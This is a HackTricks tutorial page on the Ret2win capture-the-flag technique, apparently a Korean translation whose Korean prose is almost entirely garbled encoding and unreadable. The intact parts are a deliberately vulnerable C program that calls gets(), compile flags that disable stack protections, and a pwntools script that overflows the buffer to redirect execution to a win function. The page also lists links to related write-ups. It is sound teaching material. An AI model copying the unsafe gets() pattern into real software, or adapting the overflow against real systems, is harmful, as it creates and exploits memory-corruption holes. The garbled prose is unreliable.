Ret2win
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
Ret2win ์ฑ๋ฆฐ์ง๋ Capture The Flag (CTF) ๋ํ์์ ์ธ๊ธฐ ์๋ ์นดํ
๊ณ ๋ฆฌ๋ก, ํนํ binary exploitation๊ณผ ๊ด๋ จ๋ ์์
์์ ๊ทธ๋ ์ต๋๋ค. ๋ชฉํ๋ ์ฃผ์ด์ง ๋ฐ์ด๋๋ฆฌ์ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ๋ฐ์ด๋๋ฆฌ ๋ด์์ ํน์ ํธ์ถ๋์ง ์์ ํจ์๋ฅผ ์คํํ๋ ๊ฒ์
๋๋ค. ์ด ํจ์๋ ๋ณดํต win, flag์ ๊ฐ์ ์ด๋ฆ์ ๊ฐ์ง๊ณ ์์ต๋๋ค. ์ด ํจ์๊ฐ ์คํ๋๋ฉด ์ผ๋ฐ์ ์ผ๋ก ํ๋๊ทธ๋ ์ฑ๊ณต ๋ฉ์์ง๋ฅผ ์ถ๋ ฅํฉ๋๋ค. ์ด ์ฑ๋ฆฐ์ง๋ ์ผ๋ฐ์ ์ผ๋ก ์คํ์์ return address๋ฅผ ๋ฎ์ด์จ์ ์คํ ํ๋ฆ์ ์ํ๋ ํจ์๋ก ์ ํํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ๋ค์์ ์์ ๋ฅผ ํฌํจํ ๋ ์์ธํ ์ค๋ช
์
๋๋ค:
C ์์
์ทจ์ฝ์ ์ด ์๋ ๊ฐ๋จํ C ํ๋ก๊ทธ๋จ๊ณผ ์ฐ๋ฆฌ๊ฐ ํธ์ถํ๋ ค๋ win ํจ์๊ฐ ์๋ค๊ณ ๊ฐ์ ํด ๋ณด๊ฒ ์ต๋๋ค:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
์ด ํ๋ก๊ทธ๋จ์ ์คํ ๋ณดํธ ์์ด ASLR ๋นํ์ฑํ ์ํ๋ก ์ปดํ์ผํ๋ ค๋ฉด ๋ค์ ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32: ํ๋ก๊ทธ๋จ์ 32๋นํธ ๋ฐ์ด๋๋ฆฌ๋ก ์ปดํ์ผํฉ๋๋ค(์ ํ ์ฌํญ์ด์ง๋ง CTF ์ฑ๋ฆฐ์ง์์ ์ผ๋ฐ์ ์ ๋๋ค).-fno-stack-protector: ์คํ ์ค๋ฒํ๋ก์ฐ์ ๋ํ ๋ณดํธ ๊ธฐ๋ฅ์ ๋นํ์ฑํํฉ๋๋ค.-z execstack: ์คํ์์ ์ฝ๋ ์คํ์ ํ์ฉํฉ๋๋ค.-no-pie: ์์น ๋ ๋ฆฝ ์คํ ํ์ผ์ ๋นํ์ฑํํ์ฌwinํจ์์ ์ฃผ์๊ฐ ๋ณ๊ฒฝ๋์ง ์๋๋ก ํฉ๋๋ค.-o vulnerable: ์ถ๋ ฅ ํ์ผ ์ด๋ฆ์vulnerable๋ก ์ง์ ํฉ๋๋ค.
Python Exploit using Pwntools
์ต์คํ๋ก์์ ์ํด pwntools๋ฅผ ์ฌ์ฉํ ๊ฒ์
๋๋ค. ์ด๋ ์ต์คํ๋ก์ ์์ฑ์ ์ํ ๊ฐ๋ ฅํ CTF ํ๋ ์์ํฌ์
๋๋ค. ์ต์คํ๋ก์ ์คํฌ๋ฆฝํธ๋ ๋ฒํผ๋ฅผ ์ค๋ฒํ๋ก์ฐํ๊ณ win ํจ์์ ์ฃผ์๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ด์ฐ๋ ํ์ด๋ก๋๋ฅผ ์์ฑํฉ๋๋ค.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
win ํจ์์ ์ฃผ์๋ฅผ ์ฐพ์ผ๋ ค๋ฉด gdb, objdump ๋๋ ์ด์ง ํ์ผ์ ๊ฒ์ฌํ ์ ์๋ ๋ค๋ฅธ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, objdump๋ฅผ ์ฌ์ฉํ์ฌ ๋ค์๊ณผ ๊ฐ์ด ํ ์ ์์ต๋๋ค:
objdump -d vulnerable | grep win
์ด ๋ช
๋ น์ win ํจ์์ ์ด์
๋ธ๋ฆฌ๋ฅผ ๋ณด์ฌ์ฃผ๋ฉฐ, ์์ ์ฃผ์๋ฅผ ํฌํจํฉ๋๋ค.
Python ์คํฌ๋ฆฝํธ๋ ์ ๊ตํ๊ฒ ์ ์๋ ๋ฉ์์ง๋ฅผ ์ ์กํ์ฌ, vulnerable_function์ ์ํด ์ฒ๋ฆฌ๋ ๋ ๋ฒํผ๊ฐ ์ค๋ฒํ๋ก์ฐ๋๊ณ ์คํ์ ๋ฐํ ์ฃผ์๊ฐ win์ ์ฃผ์๋ก ๋ฎ์ด์์์ง๋๋ค. vulnerable_function์ด ๋ฐํ๋ ๋, main์ผ๋ก ๋ฐํํ๊ฑฐ๋ ์ข
๋ฃํ๋ ๋์ win์ผ๋ก ์ ํํ๊ณ ๋ฉ์์ง๊ฐ ์ถ๋ ฅ๋ฉ๋๋ค.
๋ณดํธ ์กฐ์น
- PIE ๋ ๋นํ์ฑํ๋์ด์ผ ์ฃผ์๊ฐ ์คํ ๊ฐ์ ์ ๋ขฐํ ์ ์๋๋ก ํ๊ฑฐ๋ ํจ์๊ฐ ์ ์ฅ๋ ์ฃผ์๊ฐ ํญ์ ๋์ผํ์ง ์์ผ๋ฉฐ,
winํจ์๊ฐ ๋ก๋๋ ์์น๋ฅผ ํ์ ํ๊ธฐ ์ํด ์ด๋ค ๋์ถ์ด ํ์ํฉ๋๋ค. ์ค๋ฒํ๋ก์ฐ๋ฅผ ์ ๋ฐํ๋ ํจ์๊ฐread๋๋ ์ ์ฌํ ๊ฒฝ์ฐ, ๋ฐํ ์ฃผ์๋ฅผwinํจ์๋ก ๋ณ๊ฒฝํ๊ธฐ ์ํด 1 ๋๋ 2 ๋ฐ์ดํธ์ ๋ถ๋ถ ๋ฎ์ด์ฐ๊ธฐ๋ฅผ ์ํํ ์ ์์ต๋๋ค. ASLR์ ์๋ ๋ฐฉ์ ๋๋ฌธ์ ๋ง์ง๋ง ์ธ ๊ฐ์ 16์ง์ ๋๋ธ์ ๋ฌด์์ํ๋์ง ์์ผ๋ฏ๋ก, ์ฌ๋ฐ๋ฅธ ๋ฐํ ์ฃผ์๋ฅผ ์ป์ ํ๋ฅ ์ 1/16 (1 ๋๋ธ)์ ๋๋ค. - ์คํ ์นด๋๋ฆฌ๋ ๋นํ์ฑํ๋์ด์ผ ํ๋ฉฐ, ๊ทธ๋ ์ง ์์ผ๋ฉด ์์๋ EIP ๋ฐํ ์ฃผ์๊ฐ ๊ฒฐ์ฝ ๋ฐ๋ผ์ง์ง ์์ ๊ฒ์ ๋๋ค.
๊ธฐํ ์์ ๋ฐ ์ฐธ์กฐ
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32๋นํธ, ASLR ์์
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- ASLR๊ฐ ์๋ 64๋นํธ, ๋ฐ์ด๋๋ฆฌ ์ฃผ์์ ๋์ถ ํฌํจ
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64๋นํธ, ASLR ์์
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32๋นํธ, ASLR ์์, ๋ ๋ฒ์ ์์ ์ค๋ฒํ๋ก์ฐ, ์ฒซ ๋ฒ์งธ๋ก ์คํ์ ์ค๋ฒํ๋ก์ฐํ๊ณ ๋ ๋ฒ์งธ ์ค๋ฒํ๋ก์ฐ์ ํฌ๊ธฐ๋ฅผ ๋๋ฆผ
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32๋นํธ, relro, ์นด๋๋ฆฌ ์์, nx, pie ์์,
fflush์ฃผ์๋ฅผwinํจ์๋ก ๋ฎ์ด์ฐ๋ ํฌ๋งท ๋ฌธ์์ด (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32๋นํธ, nx, ๊ทธ ์ธ ์์,
winํจ์๋ฅผ ํธ์ถํ๊ธฐ ์ํ EIP์ ๋ถ๋ถ ๋ฎ์ด์ฐ๊ธฐ (1Byte) - https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32๋นํธ, nx, ๊ทธ ์ธ ์์,
winํจ์๋ฅผ ํธ์ถํ๊ธฐ ์ํ EIP์ ๋ถ๋ถ ๋ฎ์ด์ฐ๊ธฐ (1Byte) - https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- ํ๋ก๊ทธ๋จ์ ์ ๋ ฅ ํฌ๊ธฐ๋ฅผ ํ์ธํ๊ธฐ ์ํด ์ซ์์ ๋ง์ง๋ง ๋ฐ์ดํธ๋ง ๊ฒ์ฆํ๋ฏ๋ก, ๋ง์ง๋ง ๋ฐ์ดํธ๊ฐ ํ์ฉ๋ ๋ฒ์ ๋ด์ ์๋ ํ ์ด๋ค ํฌ๊ธฐ๋ ์ถ๊ฐํ ์ ์์ต๋๋ค. ๊ทธ๋ฐ ๋ค์ ์ ๋ ฅ์ ret2win์ผ๋ก ์ ์ฉ๋ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ์์ฑํฉ๋๋ค.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64๋นํธ, relro, ์นด๋๋ฆฌ ์์, nx, pie.
winํจ์๋ฅผ ํธ์ถํ๊ธฐ ์ํ ๋ถ๋ถ ๋ฎ์ด์ฐ๊ธฐ (ret2win) - https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
- arm64, PIE, PIE ๋์ถ์ด ๋ฐ์ํ๋ฉฐ
winํจ์๋ ์ค์ ๋ก 2๊ฐ์ ํจ์์ด๋ฏ๋ก 2๊ฐ์ ํจ์๋ฅผ ํธ์ถํ๋ ROP ๊ฐ์ ฏ - https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
- ARM64, off-by-one์ผ๋ก
winํจ์๋ฅผ ํธ์ถ
ARM64 ์์
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


